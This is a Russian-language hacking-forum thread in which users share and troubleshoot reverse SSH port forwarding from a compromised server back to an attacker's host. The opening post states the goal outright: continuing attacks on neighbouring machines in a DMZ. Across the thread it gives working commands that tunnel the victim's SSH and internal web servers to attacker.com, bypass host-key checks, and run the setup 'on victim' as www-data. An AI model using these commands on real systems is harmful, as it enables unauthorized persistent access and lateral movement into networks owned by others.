Старый 13.02.2011, 22:34   #1
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
Post Получение доступа к DMZ или проброс портов спасёт мир..

Привет!

Хочу поделиться опытом проброса портов на локальную машину. Способ достаточно
известный в админских кругах. Где это может понадобиться? Например следующая ситуации:
1. Сервер находится в DMZ и крайне необходима поддержка tty для того, что бы продолжить
атаку на соседнии машины.
2. Веб-сервер доступен только с локальной сети.

Что необходимо для начала:
1. Доступ к командной оболочке.
2. Доступ на запись в домашнюю директорию пользователя.

Обозначения:
attacker.com - ваш сервер
pwnsever - скомпрометированный сервере

На системе был проброшен back-connect до моего сервера и поднят рут.
Задача стояла следующая - подключиться на взломаный сервер по ssh, ибо была необходима
поддержка tty, для последующего изучения сети. Ниже используется авторизация по ключам, из-за
того что она наиболее удобная в таких случаях. По паролю так же возможно авторизироваться,
но это костыли (http://pentestmonkey.net/blog/ssh-with-no-tty/)

Суть всего метода сводится к одной команде на pwnserver:

Код:
ssh -R  attacker.com:2233:pwnserver:22 attacker.com -i 'id_rsa' -T -N -f -l root

-R 			- remote port forwarding.
-i 'path/to/id_(rsa|dsa)'	- путь до файла ключей (закрытого). Обязательное условие права 0400 на этот файл.
-T 			- не использовать поддержку tty.
-N			- не исполнять команд. Используется при перенаправлении портов.
-f			- уйти в бэкграунд после подключения.
Как идёт тунель:
Код:
+--------------------+                        +--------------+
| attacker.com:2233  | -|sshd on pwnserver|-> | pwnserver:22 |
+--------------------+                        +--------------+
После это команды на attacker.com выполняем команду:

Код:
[root@attacker.com]# ssh -l root localhost -p2233 -i 'id_rsa' 
Last login: Sun Feb 13 19:26:00 2011 from pwnserver
[root@pwnserver ~]#
Тем самым, взамен конечной точки тунеля (pwnserver:22) можно указать любой другой хост и порт,
которые доступны с машины, где Вы вводите данную команду. Например:
Код:
ssh -R attacker.com:8088:10.32.249.42:80 attacker.com -i 'id_rsa' -T -N -f -l root
Схема тунеля для этого соединения:
Код:
+--------------------+                        +-----------------+
| attacker.com:8088  | -|sshd on pwnserver|-> | 10.32.249.42:80 |
+--------------------+                        +-----------------+
Проблемы с которыми можно сталкнуться при пробрасывании портов:
1. "Host key verification failed."
решается данная проблема следующей командой:
Код:
ssh-keyscan -t rsa1,rsa,dsa localhost >> ~/.ssh/known_hosts
Ну собсвенно вот и всё. =)
slashd вне форума   Ответить с цитированием
Старый 03.04.2011, 19:21   #2
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

on victim:

sh-3.2$ ssh-keygen
...............
sh-3.2$ ls -la
total 24
drwxr-xr-x 2 www-data www-data 4096 Sep 1 2008 .
drwxr-xr-x 15 root root 4096 Feb 14 12:11 ..
-rw------- 1 www-data www-data 1675 Apr 3 16:32 id_rsa
-rw-r--r-- 1 www-data www-data 396 Apr 3 16:32 id_rsa.pub
-rw-r--r-- 1 www-data www-data 4402 Apr 3 17:19 known_hosts
............................
ssh -R myhost.com:2233:localhost:22 myhost.com -i 'id_rsa' -T -N -f
Host key verification failed.
sh-3.2$ ssh-keyscan -t rsa1,rsa,dsa localhost >> ~/.ssh/known_hosts
# localhost SSH-2.0-OpenSSH_5.1
# localhost SSH-2.0-OpenSSH_5.1

sh-3.2$ ssh -R myhost.com:2233:localhost:22 myhost.com -i 'id_rsa' -T -N -f
Host key verification failed.


в чем прокол?
snake вне форума   Ответить с цитированием
Старый 04.04.2011, 21:51   #3
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

Цитата:
Сообщение от snake Посмотреть сообщение
on victim:

sh-3.2$ ssh-keygen
...............
sh-3.2$ ls -la
total 24
drwxr-xr-x 2 www-data www-data 4096 Sep 1 2008 .
drwxr-xr-x 15 root root 4096 Feb 14 12:11 ..
-rw------- 1 www-data www-data 1675 Apr 3 16:32 id_rsa
-rw-r--r-- 1 www-data www-data 396 Apr 3 16:32 id_rsa.pub
-rw-r--r-- 1 www-data www-data 4402 Apr 3 17:19 known_hosts
............................
ssh -R myhost.com:2233:localhost:22 myhost.com -i 'id_rsa' -T -N -f
Host key verification failed.
sh-3.2$ ssh-keyscan -t rsa1,rsa,dsa localhost >> ~/.ssh/known_hosts
# localhost SSH-2.0-OpenSSH_5.1
# localhost SSH-2.0-OpenSSH_5.1

sh-3.2$ ssh -R myhost.com:2233:localhost:22 myhost.com -i 'id_rsa' -T -N -f
Host key verification failed.


в чем прокол?
sh-3.2$ ssh-keyscan -t rsa1,rsa,dsa myhost.com >> ~/.ssh/known_hosts
slashd вне форума   Ответить с цитированием
Старый 05.04.2011, 15:21   #4
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

не не,делал и так и сяк.
snake вне форума   Ответить с цитированием
Старый 06.04.2011, 08:29   #5
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

дай вывод команды
ssh -R myhost.com:2233:localhost:22 myhost.com -i 'id_rsa' -T -N -f -vvv
slashd вне форума   Ответить с цитированием
Старый 28.10.2011, 21:03   #6
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

Нашёл решение проблемы, когда домашняя директория не доступна на запись и, соответственно, положить ключики в ~/.ssh/known_hosts не получается. Решение такое:
Код:
ssh -o 'StrictHostKeyChecking no' -i id_rsa -R 222:to_server:22 root@attacker -N -f
slashd вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot